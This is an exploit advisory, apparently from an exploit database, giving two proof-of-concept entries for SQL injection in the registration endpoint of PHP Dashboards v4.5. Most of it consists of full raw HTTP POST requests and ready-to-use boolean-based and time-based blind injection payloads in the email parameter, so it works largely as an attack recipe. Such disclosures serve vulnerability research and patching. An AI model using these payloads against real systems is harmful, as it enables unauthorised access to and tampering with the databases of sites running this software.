PHP Dash boards version 4.5 suffers from multiple remote SQL injection vulnerabilities.
0717e9023e1b634b5897677145125975Exploit 1 of 2:
# Exploit Title: PHP Dashboards v4.5 - Registration Page SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Version: v4.5
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.
====================================================
# PoC : SQLi :
http://test.com/php/save/user.php?mode=add
POST /php/save/user.php?mode=add HTTP/1.1
Host: phpdashboardv4.dataninja.biz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://test.com/
Content-Length: 156
Cookie: PHPSESSID=kbnho15754hdrgf4aokv8c1a35
Connection: keep-alive
email=test123%40gmail.com&password=test123&dashboardKey=&url=
phpdashboardv4.dataninja.biz
%2Fphp%2Fsave%2F%3Fmode%3Dcollaborate%26email%3Dtest123%40gmail.com
Vulnerable Payload :
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [email protected]' AND 3667=3667 AND
'ksGc'='ksGc&password=test123&dashboardKey=&url=
test.com/php/save/?mode=collaborate%[email protected]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: [email protected]' AND SLEEP(5) AND
'iStK'='iStK&password=test123&dashboardKey=&url=
test.com/php/save/?mode=collaborate%[email protected]
====================================================
Exploit 2 of 2:
# Exploit Title: PHP Dashboards 4.5 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104
# Version: v4.5
# Category: Webapps
# Tested on: Kali linux
# Description:
# PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.
# PoC: SQLi:
http://Target/php/save/user.php?mode=add
POST /php/save/user.php?mode=add HTTP/1.1
Host: phpdashboardv5.dataninja.biz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://phpdashboardv5.dataninja.biz/
Content-Length: 152
Cookie: PHPSESSID=f4ducgk49cgei129vs7qfl10g7
Connection: keep-alive
email=test2%40gmail.com&password=test123&dashboardKey=&url=
phpdashboardv5.dataninja.biz
%2Fphp%2Fsave%2F%3Fmode%3Dcollaborate%26email%3Dtest2%40gmail.com
# Vulnerable Payload:
# Parameter: email (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload:
[email protected]' AND 6800=6800 AND
'fACB'='fACB&password=test123&dashboardKey=&url=
Target/php/save/?mode=collaborate%[email protected]
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload:
[email protected]' AND SLEEP(5) AND
'zgpA'='zgpA&password=test123&dashboardKey=&url=
Target/php/save/?mode=collaborate%[email protected]